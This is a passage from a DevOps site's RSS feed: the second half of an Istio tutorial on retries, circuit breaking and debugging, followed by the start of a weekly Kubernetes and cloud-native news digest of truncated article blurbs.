    <span class="hljs-bullet">-</span> <span class="hljs-attr">route:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">destination:</span>
            <span class="hljs-attr">host:</span> <span class="hljs-string">reviews</span>
            <span class="hljs-attr">subset:</span> <span class="hljs-string">v1</span>
      <span class="hljs-attr">retries:</span>
        <span class="hljs-attr">attempts:</span> <span class="hljs-number">3</span>
        <span class="hljs-attr">perTryTimeout:</span> <span class="hljs-string">2s</span>
        <span class="hljs-attr">retryOn:</span> <span class="hljs-string">gateway-error,connect-failure,refused-stream</span>
</code></pre><p>Some details that matter:</p>
<ul>
<li><code>attempts: 3</code> is the number of <em>retries</em>, not total tries. So up to 4 requests in the worst case.</li>
<li><code>perTryTimeout</code> is per attempt. Total time can be <code>attempts * perTryTimeout</code> plus backoff.</li>
<li><code>retryOn</code> controls which failures trigger a retry. The default includes some surprises. Be explicit.</li>
</ul>
<p>The values you almost always want in <code>retryOn</code>:</p>
<ul>
<li><code>gateway-error</code>: 502, 503, 504</li>
<li><code>connect-failure</code>: TCP connect failed</li>
<li><code>refused-stream</code>: HTTP/2 stream was refused (usually from overload)</li>
</ul>
<p>Things you almost never want to retry:</p>
<ul>
<li>4xx client errors (except 429)</li>
<li>POST/PUT/DELETE without idempotency keys</li>
</ul>
<p>To test retries are firing, point your VirtualService at <code>httpbin</code> and force a 503:</p>
<pre><code class="hljs language-bash">kubectl <span class="hljs-built_in">exec</span> deploy/curl -- curl -s -o /dev/null -w <span class="hljs-string">&quot;%{http_code}\n&quot;</span> \
  httpbin:8000/status/503
</code></pre><p>Then check the upstream stats from the sidecar:</p>
<pre><code class="hljs language-bash">kubectl <span class="hljs-built_in">exec</span> deploy/curl -c istio-proxy -- \
  pilot-agent request GET stats | grep retry
</code></pre><p>You should see counters like:</p>
<pre><code class="hljs language-text">cluster.outbound|8000||httpbin.default.svc.cluster.local.upstream_rq_retry: 3
cluster.outbound|8000||httpbin.default.svc.cluster.local.upstream_rq_retry_success: 0
</code></pre><p>Three retries fired, zero succeeded. That tells you retries are configured correctly even though the test endpoint always fails.</p>
<h3 id="h3-a-word-on-retry-budgets" class="group relative scroll-mt-24">
        <a href="#h3-a-word-on-retry-budgets" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          A Word on Retry Budgets
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-word-on-retry-budgets"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Retries multiply load. If your service does 1000 RPS and every call retries 3 times on failure, a 50% failure rate means 2500 RPS hitting the downstream. That&#39;s how outages get worse instead of better.</p>
<p>Istio doesn&#39;t have a global retry budget like Linkerd does. The mitigation is: keep <code>attempts</code> low (2 or 3, not 10), use <code>perTryTimeout</code> aggressively, and pair retries with circuit breaking so a sick host gets ejected before retries hammer it.</p>
<h2 id="h2-circuit-breaking-with-outlier-detection" class="group relative scroll-mt-24">
        <a href="#h2-circuit-breaking-with-outlier-detection" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Circuit Breaking with Outlier Detection
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-circuit-breaking-with-outlier-detection"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Circuit breaking in Istio is two things working together: connection pool limits and outlier detection. The pool limits cap how many requests you&#39;ll send. Outlier detection ejects misbehaving hosts.</p>
<p>Here&#39;s a realistic config for a backend service:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.istio.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">DestinationRule</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">payments</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">host:</span> <span class="hljs-string">payments</span>
  <span class="hljs-attr">trafficPolicy:</span>
    <span class="hljs-attr">connectionPool:</span>
      <span class="hljs-attr">tcp:</span>
        <span class="hljs-attr">maxConnections:</span> <span class="hljs-number">100</span>
      <span class="hljs-attr">http:</span>
        <span class="hljs-attr">http2MaxRequests:</span> <span class="hljs-number">1000</span>
        <span class="hljs-attr">maxRequestsPerConnection:</span> <span class="hljs-number">10</span>
        <span class="hljs-attr">maxRetries:</span> <span class="hljs-number">3</span>
    <span class="hljs-attr">outlierDetection:</span>
      <span class="hljs-attr">consecutive5xxErrors:</span> <span class="hljs-number">5</span>
      <span class="hljs-attr">interval:</span> <span class="hljs-string">30s</span>
      <span class="hljs-attr">baseEjectionTime:</span> <span class="hljs-string">30s</span>
      <span class="hljs-attr">maxEjectionPercent:</span> <span class="hljs-number">50</span>
</code></pre><p>What this does:</p>
<ul>
<li><strong>maxConnections / http2MaxRequests</strong>: caps the in-flight request count. Once exceeded, new requests fail fast with a 503. This is the actual &quot;circuit&quot; being broken.</li>
<li><strong>consecutive5xxErrors: 5</strong>: a host that returns five 5xx responses in a row gets ejected.</li>
<li><strong>interval: 30s</strong>: how often Istio scans for unhealthy hosts.</li>
<li><strong>baseEjectionTime: 30s</strong>: how long the host stays ejected. Doubles on repeat offenses.</li>
<li><strong>maxEjectionPercent: 50</strong>: never eject more than half the hosts. Otherwise you can take the whole pool offline and have nothing left to serve traffic.</li>
</ul>
<p>That last one is the safety valve. Without it, a regional outage of a downstream dependency can cause Istio to eject every backend pod, leaving you with zero capacity even when the dependency recovers.</p>
<p>To see ejections happening, watch the sidecar stats:</p>
<pre><code class="hljs language-bash">kubectl <span class="hljs-built_in">exec</span> deploy/curl -c istio-proxy -- \
  pilot-agent request GET clusters | grep payments | grep ejected
</code></pre><p>When a pod gets ejected you&#39;ll see something like:</p>
<pre><code class="hljs language-text">outbound|8080||payments.default.svc.cluster.local::10.244.1.42:8080::cx_active::0
outbound|8080||payments.default.svc.cluster.local::10.244.1.42:8080::ejected::true
</code></pre><p>That <code>ejected::true</code> line is what you want to see when a backend is misbehaving. Traffic stops going to it. Other healthy pods absorb the load. The pod gets re-checked after <code>baseEjectionTime</code>.</p>
<h2 id="h2-combining-them-a-realistic-production-config" class="group relative scroll-mt-24">
        <a href="#h2-combining-them-a-realistic-production-config" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Combining Them: A Realistic Production Config
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-combining-them-a-realistic-production-config"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Here&#39;s what the full setup looks like for a service that does canary deploys, retries on transient errors, and trips a breaker on bad hosts.</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.istio.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">DestinationRule</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">payments</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">host:</span> <span class="hljs-string">payments</span>
  <span class="hljs-attr">trafficPolicy:</span>
    <span class="hljs-attr">connectionPool:</span>
      <span class="hljs-attr">tcp:</span>
        <span class="hljs-attr">maxConnections:</span> <span class="hljs-number">100</span>
      <span class="hljs-attr">http:</span>
        <span class="hljs-attr">http2MaxRequests:</span> <span class="hljs-number">500</span>
        <span class="hljs-attr">maxRequestsPerConnection:</span> <span class="hljs-number">10</span>
    <span class="hljs-attr">outlierDetection:</span>
      <span class="hljs-attr">consecutive5xxErrors:</span> <span class="hljs-number">5</span>
      <span class="hljs-attr">interval:</span> <span class="hljs-string">30s</span>
      <span class="hljs-attr">baseEjectionTime:</span> <span class="hljs-string">30s</span>
      <span class="hljs-attr">maxEjectionPercent:</span> <span class="hljs-number">50</span>
  <span class="hljs-attr">subsets:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">v1</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">version:</span> <span class="hljs-string">v1</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">v2</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">version:</span> <span class="hljs-string">v2</span>
<span class="hljs-meta">---</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.istio.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">VirtualService</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">payments</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">hosts:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">payments</span>
  <span class="hljs-attr">http:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">route:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">destination:</span>
            <span class="hljs-attr">host:</span> <span class="hljs-string">payments</span>
            <span class="hljs-attr">subset:</span> <span class="hljs-string">v1</span>
          <span class="hljs-attr">weight:</span> <span class="hljs-number">95</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">destination:</span>
            <span class="hljs-attr">host:</span> <span class="hljs-string">payments</span>
            <span class="hljs-attr">subset:</span> <span class="hljs-string">v2</span>
          <span class="hljs-attr">weight:</span> <span class="hljs-number">5</span>
      <span class="hljs-attr">retries:</span>
        <span class="hljs-attr">attempts:</span> <span class="hljs-number">2</span>
        <span class="hljs-attr">perTryTimeout:</span> <span class="hljs-string">3s</span>
        <span class="hljs-attr">retryOn:</span> <span class="hljs-string">gateway-error,connect-failure,refused-stream</span>
      <span class="hljs-attr">timeout:</span> <span class="hljs-string">10s</span>
</code></pre><p>Note the top-level <code>timeout: 10s</code>. That&#39;s the total timeout for the whole request including all retries. Without it, a service hitting <code>perTryTimeout</code> and retrying twice could hold a connection open for 9+ seconds, which is usually worse than just failing fast.</p>
<h2 id="h2-debugging-when-things-dont-work" class="group relative scroll-mt-24">
        <a href="#h2-debugging-when-things-dont-work" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Debugging When Things Don't Work
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-debugging-when-things-dont-work"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The single most useful command when an Istio policy isn&#39;t behaving:</p>
<pre><code class="hljs language-bash">istioctl proxy-config route deploy/curl -o json | less
</code></pre><p>This shows you the actual route config Envoy is using, not what you think it is. If your VirtualService isn&#39;t taking effect, the route here will not match what you wrote.</p>
<p>Other commands worth knowing:</p>
<pre><code class="hljs language-bash">istioctl analyze
istioctl proxy-config cluster deploy/curl
istioctl proxy-config endpoints deploy/curl
</code></pre><p><code>istioctl analyze</code> catches the obvious mistakes: subset references with no matching pods, conflicting VirtualServices, missing namespaces. Run it before you <code>kubectl apply</code>.</p>
<p>If a VirtualService just won&#39;t apply, check for naming conflicts. Two VirtualServices targeting the same host in the same namespace will fight, and Istio picks one in an order you cannot predict.</p>
<h2 id="h2-next-steps" class="group relative scroll-mt-24">
        <a href="#h2-next-steps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Next Steps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-next-steps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Add <code>istioctl analyze</code> to your CI pipeline so bad mesh configs fail before merge</li>
<li>Set up a Grafana dashboard with the standard Istio mesh dashboard JSON to see retry and ejection rates per service</li>
<li>Pick one production service this week and add a DestinationRule with <code>outlierDetection</code>. Even without changing routes, this alone catches a class of failures you currently miss</li>
<li>For canary work, look at Flagger or Argo Rollouts. They drive Istio VirtualService weights automatically based on metrics, so you don&#39;t shift traffic by hand</li>
<li>If you find yourself writing the same DestinationRule for every service, move the defaults into a <code>mesh-wide</code> config under <code>meshConfig.defaultConfig</code> and only override per-service when needed</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 19, 2026]]></title>
      <link>https://devops.anhp.site/news/2026-week-19</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 04 May 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/news/2026-week-19</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by be4n</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-kubernetes-v136-pod-level-resource-managers-alpha" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-pod-level-resource-managers-alpha" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: Pod-Level Resource Managers (Alpha)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-pod-level-resource-managers-alpha"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Kubernetes v1.36 introduces Pod-Level Resource Managers as an alpha feature, bringing a more flexible and powerful resource management model to performance-sensitive workloads. This enhancement extend</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/05/01/kubernetes-v1-36-feature-pod-level-resource-managers-alpha/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-simplify-hybrid-kubernetes-networking-with-amazon-eks-hybrid-nodes-gateway" class="group relative scroll-mt-24">
        <a href="#h3-simplify-hybrid-kubernetes-networking-with-amazon-eks-hybrid-nodes-gateway" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Simplify hybrid Kubernetes networking with Amazon EKS Hybrid Nodes gateway
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-simplify-hybrid-kubernetes-networking-with-amazon-eks-hybrid-nodes-gateway"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are excited to announce the general availability of the Amazon EKS Hybrid Nodes gateway, a new feature for Amazon EKS that simplifies hybrid Kubernetes networking for Amazon EKS Hybrid Nodes. In th</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/simplify-hybrid-kubernetes-networking-with-amazon-eks-hybrid-nodes-gateway/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-sandboxing-is-having-its-kubernetes-moment" class="group relative scroll-mt-24">
        <a href="#h3-ai-sandboxing-is-having-its-kubernetes-moment" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI sandboxing is having its Kubernetes moment
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-sandboxing-is-having-its-kubernetes-moment"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Recently, Anthropic announced that its new model, Mythos, had autonomously found and exploited zero-day vulnerabilities in every major operating system and web browser – including a 27-year-old bug th</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/30/ai-sandboxing-is-having-its-kubernetes-moment/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-in-place-vertical-scaling-for-pod-level-resources-graduates-to-beta" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-in-place-vertical-scaling-for-pod-level-resources-graduates-to-beta" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: In-Place Vertical Scaling for Pod-Level Resources Graduates to Beta
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-in-place-vertical-scaling-for-pod-level-resources-graduates-to-beta"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Following the graduation of Pod-Level Resources to Beta in v1.34 and the General Availability (GA) of In-Place Pod Vertical Scaling in v1.35, the Kubernetes community is thrilled to announce that In-P</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/04/30/kubernetes-v1-36-inplace-pod-level-resources-beta/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-security-blocked-to-prod-ready-clickhouse-on-docker-hardened-images" class="group relative scroll-mt-24">
        <a href="#h3-from-security-blocked-to-prod-ready-clickhouse-on-docker-hardened-images" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From Security Blocked to Prod Ready: ClickHouse on Docker Hardened Images
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-security-blocked-to-prod-ready-clickhouse-on-docker-hardened-images"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In November 2025, a team self-hosting Langfuse, an open-source LLM observability platform, on Kubernetes uploaded their ClickHouse image to AWS ECR as part of their production preparation. They found </p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/from-security-blocked-to-prod-ready-clickhouse-on-docker-hardened-images/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-new-relic-ebpf-expands-kernel-level-observability" class="group relative scroll-mt-24">
        <a href="#h3-new-relic-ebpf-expands-kernel-level-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 New Relic eBPF Expands Kernel-Level Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-new-relic-ebpf-expands-kernel-level-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>New Relic eBPF extends observability beyond Kubernetes with kernel-level visibility across application, infrastructure, and network layers without instrumentation.</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/news/new-relic-ebpf-kernel-level-observabily"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-path-to-data-sovereignty-cybertec-and-suse-unite-for-open-source" class="group relative scroll-mt-24">
        <a href="#h3-the-path-to-data-sovereignty-cybertec-and-suse-unite-for-open-source" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Path to Data Sovereignty: CYBERTEC and SUSE Unite for Open Source
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-path-to-data-sovereignty-cybertec-and-suse-unite-for-open-source"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>SUSE and CYBERTEC PostgreSQL International are proud to announce a strategic partnership aimed at modernizing data solutions and infrastructure. This partnership unites two important players in the op</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/the-path-to-data-sovereignty-cybertec-and-suse-unite-for-open-source/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-designing-multitenant-gpu-infrastructure-isolation-across-virtualization-and-kubernetes-platforms" class="group relative scroll-mt-24">
        <a href="#h3-designing-multitenant-gpu-infrastructure-isolation-across-virtualization-and-kubernetes-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Designing multitenant GPU infrastructure: Isolation across virtualization and Kubernetes platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-designing-multitenant-gpu-infrastructure-isolation-across-virtualization-and-kubernetes-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As AI workloads move from experimentation to production, enterprises are consolidating GPU infrastructure into shared platforms. However, organizations that take this road face several tradeoffs. For </p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/designing-multitenant-gpu-infrastructure-isolation-across-virtualization-and-kubernetes-platforms"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-tiered-memory-protection-with-memory-qos" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-tiered-memory-protection-with-memory-qos" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: Tiered Memory Protection with Memory QoS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-tiered-memory-protection-with-memory-qos"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
